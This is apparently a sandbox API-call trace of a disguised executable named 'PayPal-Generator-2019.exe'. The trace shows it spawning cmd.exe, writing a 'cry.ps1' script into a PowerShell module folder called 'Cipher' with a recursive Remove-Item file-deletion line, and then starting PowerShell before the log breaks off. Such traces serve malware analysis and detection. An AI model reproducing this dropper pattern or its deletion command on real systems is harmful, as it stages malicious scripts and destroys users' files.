0x74f5a790 [0049.635] GetProcAddress (hModule=0x74f40000, lpProcName="SetConsoleInputExeNameW") returned 0x752a35c0 [0049.635] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0049.635] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0049.636] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0049.636] _wcsicmp (_String1="cmd.exe", _String2=")") returned 58 [0049.636] _wcsicmp (_String1="FOR", _String2="cmd.exe") returned 3 [0049.637] _wcsicmp (_String1="FOR/?", _String2="cmd.exe") returned 3 [0049.637] _wcsicmp (_String1="IF", _String2="cmd.exe") returned 6 [0049.637] _wcsicmp (_String1="IF/?", _String2="cmd.exe") returned 6 [0049.637] _wcsicmp (_String1="REM", _String2="cmd.exe") returned 15 [0049.637] _wcsicmp (_String1="REM/?", _String2="cmd.exe") returned 15 [0049.639] _wcsicmp (_String1="echo", _String2=")") returned 60 [0049.639] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0049.639] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0049.639] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0049.639] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0049.639] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0049.639] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0049.646] _wcsicmp (_String1="powershell", _String2=")") returned 71 [0049.646] _wcsicmp (_String1="FOR", _String2="powershell") returned -10 [0049.646] _wcsicmp (_String1="FOR/?", _String2="powershell") returned -10 [0049.646] _wcsicmp (_String1="IF", _String2="powershell") returned -7 [0049.646] _wcsicmp (_String1="IF/?", _String2="powershell") returned -7 [0049.646] _wcsicmp (_String1="REM", _String2="powershell") returned 2 [0049.646] _wcsicmp (_String1="REM/?", _String2="powershell") returned 2 [0049.646] _wcsicmp (_String1="exit", _String2=")") returned 60 [0049.646] _wcsicmp (_String1="FOR", _String2="exit") returned 1 [0049.646] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1 [0049.646] _wcsicmp (_String1="IF", _String2="exit") returned 4 [0049.646] _wcsicmp (_String1="IF/?", _String2="exit") returned 4 [0049.646] _wcsicmp (_String1="REM", _String2="exit") returned 13 [0049.646] _wcsicmp (_String1="REM/?", _String2="exit") returned 13 [0049.646] GetConsoleTitleW (in: lpConsoleTitle=0xcdf4a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.647] GetFileAttributesW (lpFileName="cmd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cmd.exe")) returned 0xffffffff [0049.647] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0049.647] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0049.647] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0049.647] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0049.647] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0049.647] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0049.647] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0049.647] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0049.647] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0049.647] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0049.647] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0049.647] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0049.647] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0049.647] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0049.647] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0049.647] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0049.647] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0049.647] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0049.648] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0049.648] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0049.648] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0049.648] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0049.648] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0049.648] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0049.648] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0049.648] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0049.648] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0049.648] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0049.648] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0049.648] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0049.648] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0049.648] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0049.648] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0049.648] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0049.648] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0049.648] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0049.648] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0049.648] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0049.648] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0049.648] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0049.648] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0049.648] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0049.648] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0049.648] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0049.648] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0049.648] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0049.648] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0049.648] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0049.648] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0049.648] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0049.648] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0049.648] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0049.648] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0049.648] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0049.648] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0049.648] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0049.649] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0049.649] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0049.649] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0049.649] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0049.649] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0049.649] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0049.649] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0049.649] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0049.649] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0049.649] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0049.649] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0049.649] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0049.649] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0049.649] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0049.649] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0049.649] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0049.649] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0049.649] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0049.649] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0049.649] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0049.649] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0049.649] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0049.649] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0049.649] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0049.649] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0049.649] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0049.649] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0049.649] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0049.649] _wcsicmp (_String1="cmd", _String2="FOR") returned -3 [0049.649] _wcsicmp (_String1="cmd", _String2="IF") returned -6 [0049.649] _wcsicmp (_String1="cmd", _String2="REM") returned -15 [0049.650] _wcsnicmp (_String1="cmd.", _String2="cmd ", _MaxCount=0x4) returned 14 [0049.650] SetErrorMode (uMode=0x0) returned 0x0 [0049.650] SetErrorMode (uMode=0x1) returned 0x0 [0049.650] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xda0bd0, lpFilePart=0xcdefac | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xcdefac*="Desktop") returned 0x1d [0049.650] SetErrorMode (uMode=0x0) returned 0x1 [0049.650] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0049.650] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0049.654] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0049.654] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0049.655] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0xcded58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcded58) returned 0xffffffff [0049.655] GetLastError () returned 0x2 [0049.655] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\cmd.exe.*", fInfoLevelId=0x1, lpFindFileData=0xcded38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcded38) returned 0xffffffff [0049.655] GetLastError () returned 0x2 [0049.655] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0049.655] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0xcded58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcded58) returned 0xffffffff [0049.655] GetLastError () returned 0x2 [0049.655] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe.*", fInfoLevelId=0x1, lpFindFileData=0xcded38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcded38) returned 0xffffffff [0049.655] GetLastError () returned 0x2 [0049.655] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0049.656] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0xcded58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcded58) returned 0xda0f70 [0049.656] FindClose (in: hFindFile=0xda0f70 | out: hFindFile=0xda0f70) returned 1 [0049.656] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0049.656] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0049.656] GetConsoleTitleW (in: lpConsoleTitle=0xcdf22c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.656] InitializeProcThreadAttributeList (in: lpAttributeList=0xcdf158, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xcdf13c | out: lpAttributeList=0xcdf158, lpSize=0xcdf13c) returned 1 [0049.656] UpdateProcThreadAttribute (in: lpAttributeList=0xcdf158, dwFlags=0x0, Attribute=0x60001, lpValue=0xcdf144, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xcdf158, lpPreviousValue=0x0) returned 1 [0049.656] GetStartupInfoW (in: lpStartupInfo=0xcdf190 | out: lpStartupInfo=0xcdf190*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x13, lpReserved2=0xda1848, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0049.656] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0049.656] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0049.656] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0049.656] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0049.657] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0049.658] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0049.659] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c cd C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpStartupInfo=0xcdf0e0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cmd.exe /c cd C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xcdf12c | out: lpCommandLine="cmd.exe /c cd C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessInformation=0xcdf12c*(hProcess=0xa8, hThread=0xa4, dwProcessId=0x98c, dwThreadId=0xa44)) returned 1 [0049.671] CloseHandle (hObject=0xa4) returned 1 [0049.671] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0049.671] GetEnvironmentStringsW () returned 0xdaa768* [0049.671] FreeEnvironmentStringsA (penv="=") returned 1 [0049.671] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xffffffff) returned 0x0 [0050.657] GetExitCodeProcess (in: hProcess=0xa8, lpExitCode=0xcdf0c4 | out: lpExitCode=0xcdf0c4*=0x0) returned 1 [0050.657] CloseHandle (hObject=0xa8) returned 1 [0050.657] _vsnwprintf (in: _Buffer=0xcdf1ac, _BufferCount=0x13, _Format="%08X", _ArgList=0xcdf0cc | out: _Buffer="00000000") returned 8 [0050.657] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0050.657] GetEnvironmentStringsW () returned 0xdaa768* [0050.657] FreeEnvironmentStringsA (penv="=") returned 1 [0050.657] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0050.657] GetEnvironmentStringsW () returned 0xdaa768* [0050.657] FreeEnvironmentStringsA (penv="=") returned 1 [0050.657] DeleteProcThreadAttributeList (in: lpAttributeList=0xcdf158 | out: lpAttributeList=0xcdf158) [0050.657] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.657] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.657] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.657] GetFileType (hFile=0x3c) returned 0x2 [0050.658] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0050.658] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcdf644 | out: lpMode=0xcdf644) returned 1 [0050.658] _dup (_FileHandle=1) returned 3 [0050.658] _close (_FileHandle=1) returned 0 [0050.658] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", _String2="con") returned -53 [0050.658] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xcdf624, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0050.658] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0050.658] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.658] GetFileType (hFile=0x3c) returned 0x1 [0050.658] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x22f [0050.658] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xcdf63c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xcdf63c*=0) returned 0x22e [0050.658] ReadFile (in: hFile=0x3c, lpBuffer=0xcdf640, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xcdf630, lpOverlapped=0x0 | out: lpBuffer=0xcdf640*, lpNumberOfBytesRead=0xcdf630*=0x1, lpOverlapped=0x0) returned 1 [0050.658] GetConsoleTitleW (in: lpConsoleTitle=0xcdf440, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0050.675] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0050.675] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0050.675] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0050.675] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0050.675] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0050.675] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0050.675] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0050.675] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0050.675] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0050.675] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0050.675] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xcdf3fc | out: _Buffer="Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* \r\n") returned 72 [0050.675] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.675] GetFileType (hFile=0x3c) returned 0x1 [0050.675] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* \r\n", lpUsedDefaultChar=0x0) returned 73 [0050.675] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xcdf3ec, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xcdf3ec*=0x48, lpOverlapped=0x0) returned 1 [0050.675] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0050.680] _close (_FileHandle=3) returned 0 [0050.680] GetConsoleTitleW (in: lpConsoleTitle=0xcdf3e0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0050.682] _wcsicmp (_String1="powershell", _String2="DIR") returned 12 [0050.682] _wcsicmp (_String1="powershell", _String2="ERASE") returned 11 [0050.682] _wcsicmp (_String1="powershell", _String2="DEL") returned 12 [0050.682] _wcsicmp (_String1="powershell", _String2="TYPE") returned -4 [0050.682] _wcsicmp (_String1="powershell", _String2="COPY") returned 13 [0050.682] _wcsicmp (_String1="powershell", _String2="CD") returned 13 [0050.682] _wcsicmp (_String1="powershell", _String2="CHDIR") returned 13 [0050.682] _wcsicmp (_String1="powershell", _String2="RENAME") returned -2 [0050.682] _wcsicmp (_String1="powershell", _String2="REN") returned -2 [0050.682] _wcsicmp (_String1="powershell", _String2="ECHO") returned 11 [0050.682] _wcsicmp (_String1="powershell", _String2="SET") returned -3 [0050.682] _wcsicmp (_String1="powershell", _String2="PAUSE") returned 14 [0050.682] _wcsicmp (_String1="powershell", _String2="DATE") returned 12 [0050.682] _wcsicmp (_String1="powershell", _String2="TIME") returned -4 [0050.682] _wcsicmp (_String1="powershell", _String2="PROMPT") returned -3 [0050.682] _wcsicmp (_String1="powershell", _String2="MD") returned 3 [0050.682] _wcsicmp (_String1="powershell", _String2="MKDIR") returned 3 [0050.682] _wcsicmp (_String1="powershell", _String2="RD") returned -2 [0050.682] _wcsicmp (_String1="powershell", _String2="RMDIR") returned -2 [0050.682] _wcsicmp (_String1="powershell", _String2="PATH") returned 14 [0050.682] _wcsicmp (_String1="powershell", _String2="GOTO") returned 9 [0050.682] _wcsicmp (_String1="powershell", _String2="SHIFT") returned -3 [0050.682] _wcsicmp (_String1="powershell", _String2="CLS") returned 13 [0050.682] _wcsicmp (_String1="powershell", _String2="CALL") returned 13 [0050.682] _wcsicmp (_String1="powershell", _String2="VERIFY") returned -6 [0050.682] _wcsicmp (_String1="powershell", _String2="VER") returned -6 [0050.682] _wcsicmp (_String1="powershell", _String2="VOL") returned -6 [0050.682] _wcsicmp (_String1="powershell", _String2="EXIT") returned 11 [0050.682] _wcsicmp (_String1="powershell", _String2="SETLOCAL") returned -3 [0050.682] _wcsicmp (_String1="powershell", _String2="ENDLOCAL") returned 11 [0050.682] _wcsicmp (_String1="powershell", _String2="TITLE") returned -4 [0050.682] _wcsicmp (_String1="powershell", _String2="START") returned -3 [0050.683] _wcsicmp (_String1="powershell", _String2="DPATH") returned 12 [0050.683] _wcsicmp (_String1="powershell", _String2="KEYS") returned 5 [0050.683] _wcsicmp (_String1="powershell", _String2="MOVE") returned 3 [0050.683] _wcsicmp (_String1="powershell", _String2="PUSHD") returned -6 [0050.683] _wcsicmp (_String1="powershell", _String2="POPD") returned 7 [0050.683] _wcsicmp (_String1="powershell", _String2="ASSOC") returned 15 [0050.683] _wcsicmp (_String1="powershell", _String2="FTYPE") returned 10 [0050.683] _wcsicmp (_String1="powershell", _String2="BREAK") returned 14 [0050.683] _wcsicmp (_String1="powershell", _String2="COLOR") returned 13 [0050.683] _wcsicmp (_String1="powershell", _String2="MKLINK") returned 3 [0050.683] _wcsicmp (_String1="powershell", _String2="DIR") returned 12 [0050.683] _wcsicmp (_String1="powershell", _String2="ERASE") returned 11 [0050.683] _wcsicmp (_String1="powershell", _String2="DEL") returned 12 [0050.683] _wcsicmp (_String1="powershell", _String2="TYPE") returned -4 [0050.683] _wcsicmp (_String1="powershell", _String2="COPY") returned 13 [0050.683] _wcsicmp (_String1="powershell", _String2="CD") returned 13 [0050.683] _wcsicmp (_String1="powershell", _String2="CHDIR") returned 13 [0050.683] _wcsicmp (_String1="powershell", _String2="RENAME") returned -2 [0050.683] _wcsicmp (_String1="powershell", _String2="REN") returned -2 [0050.683] _wcsicmp (_String1="powershell", _String2="ECHO") returned 11 [0050.683] _wcsicmp (_String1="powershell", _String2="SET") returned -3 [0050.683] _wcsicmp (_String1="powershell", _String2="PAUSE") returned 14 [0050.683] _wcsicmp (_String1="powershell", _String2="DATE") returned 12 [0050.683] _wcsicmp (_String1="powershell", _String2="TIME") returned -4 [0050.683] _wcsicmp (_String1="powershell", _String2="PROMPT") returned -3 [0050.683] _wcsicmp (_String1="powershell", _String2="MD") returned 3 [0050.683] _wcsicmp (_String1="powershell", _String2="MKDIR") returned 3 [0050.683] _wcsicmp (_String1="powershell", _String2="RD") returned -2 [0050.683] _wcsicmp (_String1="powershell", _String2="RMDIR") returned -2 [0050.683] _wcsicmp (_String1="powershell", _String2="PATH") returned 14 [0050.683] _wcsicmp (_String1="powershell", _String2="GOTO") returned 9 [0050.683] _wcsicmp (_String1="powershell", _String2="SHIFT") returned -3 [0050.683] _wcsicmp (_String1="powershell", _String2="CLS") returned 13 [0050.683] _wcsicmp (_String1="powershell", _String2="CALL") returned 13 [0050.683] _wcsicmp (_String1="powershell", _String2="VERIFY") returned -6 [0050.683] _wcsicmp (_String1="powershell", _String2="VER") returned -6 [0050.684] _wcsicmp (_String1="powershell", _String2="VOL") returned -6 [0050.684] _wcsicmp (_String1="powershell", _String2="EXIT") returned 11 [0050.684] _wcsicmp (_String1="powershell", _String2="SETLOCAL") returned -3 [0050.684] _wcsicmp (_String1="powershell", _String2="ENDLOCAL") returned 11 